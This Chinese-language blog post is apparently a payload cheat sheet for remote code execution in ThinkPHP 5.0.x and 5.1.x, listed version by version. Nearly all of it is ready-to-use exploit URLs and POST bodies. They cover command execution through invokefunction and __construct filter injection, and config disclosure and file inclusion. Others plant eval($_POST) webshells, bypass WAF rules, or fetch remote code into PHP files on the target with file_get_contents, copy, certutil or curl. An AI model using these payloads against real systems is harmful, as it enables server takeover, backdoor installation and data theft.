THINKPHP RCE 总结

好大一条虫 1,674 次浏览 0
摘要:

thinkphp 命令执行 漏洞 poc rce 总结 拿shell

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

5.1.x
?s=index/thinkRequest/input&filter[]=system&data=pwd 

?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?> 

?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?> ?

?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

还有一种

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
5.0
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.1
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.2
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.3
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.4
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.5
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.6
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.7
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.8
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.9
debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.10
从5.0.10开始默认debug=false,debug无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.11
默认debug=false,debug无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.12
默认debug=false,debug无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.13
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.13下试出来的payload "topthink/think-captcha": "^1.0"

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.13补充
补充
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.14
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.15
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.16
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.17
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.18
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.19
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.20
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.21
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

默认debug=false,需要开启debug
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.23
默认debug=false,需要开启debug
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
5.0.24
作为5.0.x的最后一个版本,rce被修复
5.1.0
默认debug为true
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
"topthink/think-captcha": "2.*"

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get
5.1.1
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc
写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get
未开启强制路由导致rce
这种rce的payload多

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
大于5.0.23、大于5.1.30获取时使用正则匹配校验

命令执行
5.0.x
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
写shell

5.0.x
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkviewdriverThink/display&template=<?php phpinfo();?>             //shell生成在runtime/temp/md5(template).php
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
其他

5.0.x
?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件

补充:

1.thinkphp5的漏洞不仅仅只有这一个触发点,有一个触发点是可以直接写php代码的,相当于菜刀啦。

index.php?s=index/\\think\\Request/input&filter=system&data={data}
index.php?s=index/\\think\\view\\driver\\Php/display&content=<?php system({data});?>
index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={data}
index.php?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={data}
index.php?s=index/\\think\\view\\driver\\Php/display&content=<?php system({data});?>

index.php?s=admin/\\think\\Request/input&filter=system&data=${@print(eval($_POST[c]))}
index.php?s=admin/\\think\\view\\driver\\Php/display&content=${@print(eval($_POST[c]))}
index.php?s=admin/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=${@print(eval($_POST[c]))}
index.php?s=admin/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=${@print(eval($_POST[c]))}
index.php?s=admin/\\think\\view\\driver\\Php/display&content=${@print(eval($_POST[c]))}

2.上传.htaccess


冷门函数 file_put_contents(),copy()

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=http://www.vlun.org/1.txt&vars[1][]=fuck.php

?s=captcha&Fuck=print_r(file_put_contents(%27info.php%27,file_get_contents(%27http://www.vlun.org/1.txt%27)))
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck

?s=captcha&Fuck=copy("http://www.vlun.org/1.txt","111.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck



php7 下 assert 可以替换为 eval



index.php?s=member/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=${@print(eval($_POST[c]))} 
index.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=${@print(eval($_POST[c]))} 
index.php?s=public/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=${@print(eval($_POST[c]))} 
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=${@print(eval($_POST[c]))} 


thinkphp  旁站 写shell  
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=旁站绝对路径/1.php&vars[1][]=<?php eval^($_POST[cmd])?>
测试phpinfo
?s=captcha&test=1
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

写马(php7.0以下)。
?s=captcha&Test=print_r(file_put_contents(%27info.php%27,file_get_contents(%27http://www.vlun.org/xx.txt%27)))

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=print_r(file_put_contents(%27info.php%27,file_get_contents(%27https://vlun.org/xx.txt%27)))

?s=captcha&Fuck=copy("http://www.vlun.org/1.txt","test.php")

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck


写马(未禁用执行函数)。
?s=captcha&Test=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=test123


?s=captcha&Fuck=copy("http://www.vlun.org/1.txt","111.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck


-5.1.18
http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://vlun.org/xxx.js'));?>


-5.0.5

waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤

http://www.vlun.org/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://vlun.org/xxx.js'))/**/;/**/?>

-5.1.18
所有目录都无写权限,base64函数被拦截
http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

-5.0.18

windows
http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1

http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()

使用certutil
http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://vlun.org/2.txt /1.php
由于根目录没写权限,所以写到uploads

-5.0.14

eval('')和assert('')被拦截,命令函数被禁止

https://vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();

http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://vlun.org//xxx.js")));

-5.0.11
http://www.vlun.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https:///2.txt -o ./xxx.php




?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=11.php&vars[1][1]=<?=file_put_contents('111.php',file_get_contents('https://vlun.org/2.txt'));?>



-5.0.14
php7.2
http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1


http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.vlun.org/xxx.js'));?>
写进去发现转义了尖括号

通过copy函数
http://www.vlun.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.vlun.org/xxx.js&vars[1][1]=112233.php


参考

  • https://xz.aliyun.com/t/6106
  • https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html
  • https://github.com/Mochazz/ThinkPHP-Vuln
  • https://xz.aliyun.com/search?keyword=thinkphp
  • https://github.com/Lucifer1993/TPscan
  • https://www.kancloud.cn/manual/thinkphp5_1/353946
  • https://www.kancloud.cn/manual/thinkphp5
  • https://github.com/top-think/thinkphp

发表评论 取消回复
表情 图片 链接 代码